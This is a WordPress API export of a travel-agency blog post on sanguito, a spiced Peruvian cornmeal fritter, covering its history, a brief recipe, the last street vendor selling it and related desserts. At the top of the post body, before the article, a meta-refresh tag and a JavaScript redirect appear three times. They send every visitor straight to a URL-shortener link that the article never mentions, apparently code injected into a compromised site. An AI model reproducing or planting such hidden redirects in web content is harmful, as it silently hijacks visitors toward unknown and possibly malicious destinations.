{"id":13321,"date":"2025-09-03T10:42:27","date_gmt":"2025-09-03T15:42:27","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=13321"},"modified":"2025-09-03T10:42:29","modified_gmt":"2025-09-03T15:42:29","slug":"sanguito-perus-ancient-dessert-with-a-rich-history","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/sanguito-perus-ancient-dessert-with-a-rich-history\/","title":{"rendered":"Sanguito: Peru\u2019s Ancient Dessert with a Rich History"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Did you know there\u2019s a Peruvian<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\"> <strong>traditional dessert<\/strong><\/a><strong> <\/strong>that\u2019s been around longer than your favorite Netflix binge\u2014or even your abuela\u2019s secret recipe stash? Meet sanguito, a sweet treat that\u2019s been tickling Peruvian taste buds for centuries.<\/p>\n\n\n\n<p>\u00a0Picture a warm, fluffy morsel made from cornmeal, spiced with cinnamon, cloves, and anise, then fried to golden perfection. <\/p>\n\n\n\n<p>Sounds like a party in your mouth, right? Grab a snack (preferably sanguito if you\u2019ve got it), because we\u2019re diving into the hilarious, tasty, and fascinating world of this traditional Peruvian dessert<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Is Sanguito, Anyway?<\/strong><\/h2>\n\n\n\n<p>Sanguito might sound like a telenovela heartthrob, but it\u2019s a dessert with serious Peruvian street cred. Its base has cornmeal, sweetened, spiced, and fried into crispy-on-the-outside, fluffy-on-the-inside fritters.&nbsp;<\/p>\n\n\n\n<p>Top it with powdered sugar or honey, and you\u2019ve got cornbread\u2019s sassy Peruvian cousin who brought the spice rack to the party.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/JPLCZCLAENCUHDF45GHLR75HUM.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Sanguito dessert ready to be eaten\" class=\"wp-image-13327\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/JPLCZCLAENCUHDF45GHLR75HUM.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/JPLCZCLAENCUHDF45GHLR75HUM.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/JPLCZCLAENCUHDF45GHLR75HUM.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/JPLCZCLAENCUHDF45GHLR75HUM.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/JPLCZCLAENCUHDF45GHLR75HUM.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Sanguito\u2019s one of Peru\u2019s oldest desserts, with roots in pre-Hispanic times\u2014way before the Spanish conquistadors crashed the scene, packed with history, flavor, and nostalgia.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Sweet History Lesson: Sanguito\u2019s Wild Ride<\/strong><\/h2>\n\n\n\n<p>The journey of this delicious Peruvian dessert&#8217;s origins dates to pre-Hispanic Peru, where corn wasn\u2019t just food\u2014it was sacred. <\/p>\n\n\n\n<p>The Incas and their neighbors made an early version of sanguito from cornmeal for religious ceremonies that they called in the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua<\/strong><\/a> language \u201csanku.\u201d<\/p>\n\n\n\n<p>&nbsp;When the Spanish arrived in the 1500s, they jazzed it up with sugar, milk, cinnamon, and cloves. Then, African slaves brought by the colonizers added anise and frying techniques, blending their culinary magic into the mix.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img height=\"436\" width=\"697\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742229689398.webp?resize=697%2C436&#038;ssl=1\" alt=\"Pregoneros in colonial lima\" class=\"wp-image-13314\"\/><\/figure><\/div>\n\n\n<p>This dessert\u2019s a cultural melting pot\u2014indigenous, Spanish, and<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/afro-peruvian-culture-history-and-traditions-in-peru\/\"> <strong>Afro-Peruvian<\/strong><\/a> influences all in one bite.\u00a0Then, sanguito became one of the favorite treats for people in the Lima region, where street vendors used to sell it, balancing trays on their heads.<\/p>\n\n\n\n<p>&nbsp;Over time, sanguito evolved with regional twists: in the Andes, it\u2019s made with \u201cmorocho\u201d cornmeal, while coastal versions use \u201cma\u00edz amarillo.\u201d&nbsp;<\/p>\n\n\n\n<p>It\u2019s even tied to festivals like the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lord-of-the-miracles-everything-you-need-to-know\/\"><strong>Lord of Miracles<\/strong><\/a>, where it\u2019s enjoyed alongside other traditional sweets. Every bite\u2019s a tasty trip through Peru\u2019s multicultural past!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How to Make Sanguito: Quick and Easy<\/strong><\/h2>\n\n\n\n<p>Ready to whip up some sanguito? Here\u2019s a short and sweet recipe:<\/p>\n\n\n\n<p><strong>Ingredients:<\/strong> 1 cup corn flour (or wheat flour), 1 tsp cinnamon, 1\/2 tsp cloves, 1\/2 tsp anise seeds, 1\/2 cup water, oil for frying, chancaca (Peruvian warm, sweet syrup or block made from raw, unrefined sugarcane)<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/636d7782d61f1a32e46348fe.jpg?resize=697%2C383&#038;ssl=1\" alt=\"A beautifully made sanguito\" class=\"wp-image-13324\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/636d7782d61f1a32e46348fe.jpg?resize=1024%2C563&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/636d7782d61f1a32e46348fe.jpg?resize=300%2C165&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/636d7782d61f1a32e46348fe.jpg?resize=768%2C422&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/636d7782d61f1a32e46348fe.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Instructions: <\/strong>Mix cornmeal, spices, and water into a thick dough. Shape into small fritters. Fry in hot oil until golden. Sprinkle with sugar or drizzle with honey. Enjoy warm!<\/p>\n\n\n\n<p><strong>It\u2019s a flavor fiesta: <\/strong>cornmeal meets warm spices, with a crispy outside and fluffy inside. Dessert perfection in minutes!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Sanguito on the Streets: How It\u2019s Enjoyed<\/strong><\/h2>\n\n\n\n<p>Once the rockstar of Peruvian street food, sanguito was hawked by<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/limas-pregoneros-the-voices-that-brought-a-city-to-life\/\"><strong>pregoneros<\/strong><\/a>\u2014vendors balancing trays on cushioned heads, shouting to draw crowds in Lima\u2019s 19th-century Lima. Its irresistible aroma was the colonial equivalent of an ice cream truck jingle.&nbsp;<\/p>\n\n\n\n<p>Today, it\u2019s rarer, but you might spot it at traditional markets or family gatherings where grandmothers keep the recipe alive. <\/p>\n\n\n\n<p>It\u2019s a cozy snack for chilly days, especially during October\u2019s Lord of Miracles festival, paired with sweets like turr\u00f3n de Do\u00f1a Pepa.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Last Sanguito Pregonero Alive<\/strong><\/h2>\n\n\n\n<p>Through the streets of Lima&#8217;s colonial center, you can hear a voice claiming: <em>\u201cSanguito rico, sanguitooo\u2026 vamos, sanguito rico.\u201d <\/em>That\u2019s the voice of German Reyna, the last Sanguito pregonero alive, who offers his delicious dessert.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/COZZKKL53FGB7FZWW3IQF3VVQY.jpg?resize=697%2C523&#038;ssl=1\" alt=\"German Reyna, the last Sanguito pregonero\" class=\"wp-image-13316\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/COZZKKL53FGB7FZWW3IQF3VVQY.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/COZZKKL53FGB7FZWW3IQF3VVQY.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/COZZKKL53FGB7FZWW3IQF3VVQY.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/COZZKKL53FGB7FZWW3IQF3VVQY.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/COZZKKL53FGB7FZWW3IQF3VVQY.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Reyna inherited this tradition from his father, grandfather, and even great-grandparents. Although there are some places (not many) where you can get sanguito in Lima, Reyma\u2019s sanguito is the favorite of many.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Bonus Track: Other Peruvian Food Desserts you MUST Try<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/6-suspiro-a-la-limena.jpg?resize=697%2C697&#038;ssl=1\" alt=\"suspiro a la lime\u00f1a\" class=\"wp-image-10503 size-full\" style=\"object-position:66% 28%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/6-suspiro-a-la-limena.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/6-suspiro-a-la-limena.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/6-suspiro-a-la-limena.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/6-suspiro-a-la-limena.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/6-suspiro-a-la-limena.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Suspiro a la Lime\u00f1a:<\/strong> A base of manjar blanco, also called dulce de leche, a fluffy layer mix of condensed milk, egg yolks, and merengue, with a light sprinkle of powdered cinnamon, is the perfect combination of a traditional and delicious dessert.&nbsp;<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=697%2C697&#038;ssl=1\" alt=\"arroz con leche\" class=\"wp-image-13325 size-full\" style=\"object-position:63% 56%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Arroz con leche and Mazamorra:<\/strong> \u201cCombinado\u201d or \u201cClasico\u201d as we call it, is the mix of Peru\u2019s traditional arroz con leche (rice pudding) and mazamorra, made from purple corn.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"711\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/5-picarones.jpg?resize=697%2C711&#038;ssl=1\" alt=\"picarones with chancaca honey\" class=\"wp-image-8012 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/5-picarones.jpg?resize=1004%2C1024&amp;ssl=1 1004w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/5-picarones.jpg?resize=294%2C300&amp;ssl=1 294w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/5-picarones.jpg?resize=768%2C784&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/5-picarones.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Picarones:<\/strong> Peru\u2019s response to Spanish bu\u00f1uelos,<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/picarones-perus-golden-rings-of-sweetness\/\" title=\"\"> <strong>picarones<\/strong><\/a> are like having a small piece of heaven on earth. The secret super sweet sauce is perfect not for picarones, as some people love to eat it alone.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/turron-819x1024-1.jpg?resize=697%2C871&#038;ssl=1\" alt=\"turron de do\u00f1a pepa\" class=\"wp-image-10500 size-full\" style=\"object-position:68% 62%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/turron-819x1024-1.jpg?w=819&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/turron-819x1024-1.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/10\/turron-819x1024-1.jpg?resize=768%2C960&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Turron de Do\u00f1a Pepa:<\/strong> The Peruvian nougat has a long and rich tradition. Often, Peruvians eat it during \u201cLord of the Miracles\u201d eve, but it\u2019s available all year round<strong>\u00a0<\/strong><\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong><em>To remember is to live again. Know this: what you have eaten and lived, no one can take away from you&nbsp;<\/em><\/strong><\/h2>\n\n\n\n<p>This subtitle is a catchphrase that Reyna mentioned before and loves to say. Sanguito\u2019s fading as fast food and modern desserts take over, but losing it would erase a piece of Peru\u2019s soul. It\u2019s a story of indigenous roots, Spanish flair, and African spice.<\/p>\n\n\n\n<p>&nbsp;Preservation efforts are underway\u2014modern chefs are reinventing it with twists like fruit compote or whipped cream, keeping its legacy alive.&nbsp; Hunt it down in Peru, or make it at home to join the revival. One fritter at a time, you\u2019re saving tradition!<\/p>\n\n\n\n<p>Sanguito\u2019s older than your favorite jeans and twice as cool. From pre-Hispanic rituals to street-food fame, it\u2019s a sweet slice of history you can eat.<\/p>\n\n\n\n<p> Fry it up or track it down in Peru\u2014either way, you\u2019re tasting a legend.&nbsp; Keep checking out our content to learn more about Peruvian culture, traditions, and food<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Keep in mind, too, that with <strong>Viagens Machu Picchu,<\/strong> you can get to know the best of Peru. Don\u2019t hesitate to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact<\/a><\/strong> our experts, so they\u2019ll give you details about our packages, promotions, and best deals! The adventure in Peru awaits, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><br><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p> Sanguito, one of Peru\u2019s oldest desserts, dates back to pre-Hispanic times. Made with cornmeal, cinnamon, cloves, and anise, it\u2019s fried to perfection. Once a street-food favorite, it\u2019s now a rare treat found in traditional markets. Taste history with every bite!<\/p>\n","protected":false},"author":1,"featured_media":13323,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,201,3495],"tags":[3211,3357,2929,5068,5065,4645,5061,5060,5064,5066,5067,5058,5062,5059,1145,1907,3206,3213,5057,5063],"class_list":["post-13321","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-lima","category-peruvian-flavors","tag-19th-century","tag-afro-peruvians","tag-arroz-con-leche","tag-cinnamon-and-clove","tag-condensed-milk","tag-corn-flour","tag-delicious-peruvian-dessert","tag-dulce-de-leche","tag-egg-yolks","tag-la-limena","tag-manjar-blanco","tag-milk-cinnamon","tag-origins-date","tag-peruvian-desserts","tag-peruvian-food","tag-purple-corn","tag-rice-pudding","tag-street-vendors","tag-traditional-desserts","tag-wheat-flour"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sanguito-sanroque-1.webp?fit=1200%2C676&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3sR","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13321","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=13321"}],"version-history":[{"count":6,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13321\/revisions"}],"predecessor-version":[{"id":18164,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13321\/revisions\/18164"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/13323"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=13321"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=13321"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=13321"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}